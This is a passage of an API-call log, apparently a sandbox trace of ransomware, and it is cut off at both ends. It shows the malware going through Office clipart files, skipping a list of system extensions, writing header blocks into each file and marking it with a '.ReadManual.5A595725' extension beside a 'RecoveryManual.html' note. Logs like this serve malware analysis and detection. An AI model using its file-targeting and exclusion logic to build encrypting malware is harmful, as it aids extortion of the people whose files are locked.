FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.415] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.415] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.417] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.417] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11dfe) returned 0x1de0000 [0265.420] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0265.420] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38608894379) returned 1 [0265.420] CloseHandle (hObject=0x184) returned 1 [0265.420] SetSecurityInfo () returned 0x57 [0265.420] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.420] CloseHandle (hObject=0x194) returned 1 [0265.420] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x559a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099150.JPG", cAlternateFileName="")) returned 1 [0265.422] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099150.JPG" | out: lpString1="J0099150.JPG") returned="J0099150.JPG" [0265.422] lstrcmpiW (lpString1="J0099150.JPG", lpString2="RecoveryManual.html") returned -1 [0265.422] StrStrIW (lpFirst="J0099150.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.422] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.422] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.422] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.422] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.422] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.422] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.422] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.422] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.422] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.422] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.422] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.422] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.422] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.422] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.422] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" [0265.422] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.ReadManual.5A595725" [0265.422] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.ReadManual.5A595725") returned 87 [0265.422] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38609102905) returned 1 [0265.422] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 0x20 [0265.422] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.423] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21914) returned 1 [0265.423] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x559a, lpName=0x0) returned 0x184 [0265.423] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.425] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.425] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.426] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.426] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x559a) returned 0x2f0000 [0265.427] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.427] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38609569841) returned 1 [0265.427] CloseHandle (hObject=0x184) returned 1 [0265.427] SetSecurityInfo () returned 0x57 [0265.427] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.427] CloseHandle (hObject=0x194) returned 1 [0265.427] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x65e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099151.WMF", cAlternateFileName="")) returned 1 [0265.427] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099151.WMF" | out: lpString1="J0099151.WMF") returned="J0099151.WMF" [0265.427] lstrcmpiW (lpString1="J0099151.WMF", lpString2="RecoveryManual.html") returned -1 [0265.427] StrStrIW (lpFirst="J0099151.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.427] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.427] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.427] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.427] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.427] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.428] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.428] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.428] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.428] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.428] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.428] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.428] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.428] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.428] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.428] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" [0265.428] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.ReadManual.5A595725" [0265.428] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.ReadManual.5A595725") returned 87 [0265.428] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38609664159) returned 1 [0265.428] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 0x20 [0265.428] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.428] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26086) returned 1 [0265.428] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x65e6, lpName=0x0) returned 0x184 [0265.428] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.429] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.429] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.431] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.431] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x65e6) returned 0x2f0000 [0265.431] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.431] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38610010340) returned 1 [0265.431] CloseHandle (hObject=0x184) returned 1 [0265.431] SetSecurityInfo () returned 0x57 [0265.432] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.432] CloseHandle (hObject=0x194) returned 1 [0265.432] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2dae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099152.JPG", cAlternateFileName="")) returned 1 [0265.432] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099152.JPG" | out: lpString1="J0099152.JPG") returned="J0099152.JPG" [0265.432] lstrcmpiW (lpString1="J0099152.JPG", lpString2="RecoveryManual.html") returned -1 [0265.432] StrStrIW (lpFirst="J0099152.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.432] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.432] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.432] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.432] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.432] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.432] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.432] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.432] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.432] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.432] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.432] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.432] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.432] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.432] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.432] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" [0265.432] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.ReadManual.5A595725" [0265.432] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.ReadManual.5A595725") returned 87 [0265.432] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38610104510) returned 1 [0265.432] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 0x20 [0265.433] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.433] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11694) returned 1 [0265.433] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2dae, lpName=0x0) returned 0x184 [0265.433] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.434] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.434] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.436] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.436] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2dae) returned 0x2f0000 [0265.436] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.436] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38610504525) returned 1 [0265.436] CloseHandle (hObject=0x184) returned 1 [0265.436] SetSecurityInfo () returned 0x57 [0265.436] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.437] CloseHandle (hObject=0x194) returned 1 [0265.437] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3632, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099153.WMF", cAlternateFileName="")) returned 1 [0265.437] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099153.WMF" | out: lpString1="J0099153.WMF") returned="J0099153.WMF" [0265.437] lstrcmpiW (lpString1="J0099153.WMF", lpString2="RecoveryManual.html") returned -1 [0265.437] StrStrIW (lpFirst="J0099153.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.437] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.437] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.437] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.437] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.437] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.437] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.437] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.437] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.437] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.437] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.437] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.437] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.437] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.437] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.437] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" [0265.437] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.ReadManual.5A595725" [0265.437] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.ReadManual.5A595725") returned 87 [0265.437] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38610603556) returned 1 [0265.437] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 0x20 [0265.438] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.438] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13874) returned 1 [0265.439] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3632, lpName=0x0) returned 0x184 [0265.439] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.439] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.439] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.441] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.441] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3632) returned 0x2f0000 [0265.441] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.441] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38611028225) returned 1 [0265.442] CloseHandle (hObject=0x184) returned 1 [0265.442] SetSecurityInfo () returned 0x57 [0265.442] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.442] CloseHandle (hObject=0x194) returned 1 [0265.442] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1b11, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099154.JPG", cAlternateFileName="")) returned 1 [0265.442] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099154.JPG" | out: lpString1="J0099154.JPG") returned="J0099154.JPG" [0265.442] lstrcmpiW (lpString1="J0099154.JPG", lpString2="RecoveryManual.html") returned -1 [0265.442] StrStrIW (lpFirst="J0099154.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.442] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0265.442] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0265.442] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0265.442] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0265.442] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0265.442] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0265.442] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0265.442] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0265.442] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0265.442] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0265.442] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0265.442] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0265.442] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0265.442] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0265.442] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" [0265.442] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.ReadManual.5A595725" [0265.442] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.ReadManual.5A595725") returned 87 [0265.442] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38611345610) returned 1 [0265.445] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 0x20 [0265.446] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.446] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6929) returned 1 [0265.446] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b11, lpName=0x0) returned 0x184 [0265.446] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.447] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.447] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.448] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.448] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b11) returned 0x2f0000 [0265.449] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.449] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38611746566) returned 1 [0265.449] CloseHandle (hObject=0x184) returned 1 [0265.449] SetSecurityInfo () returned 0x57 [0265.449] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.449] CloseHandle (hObject=0x194) returned 1 [0265.449] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, 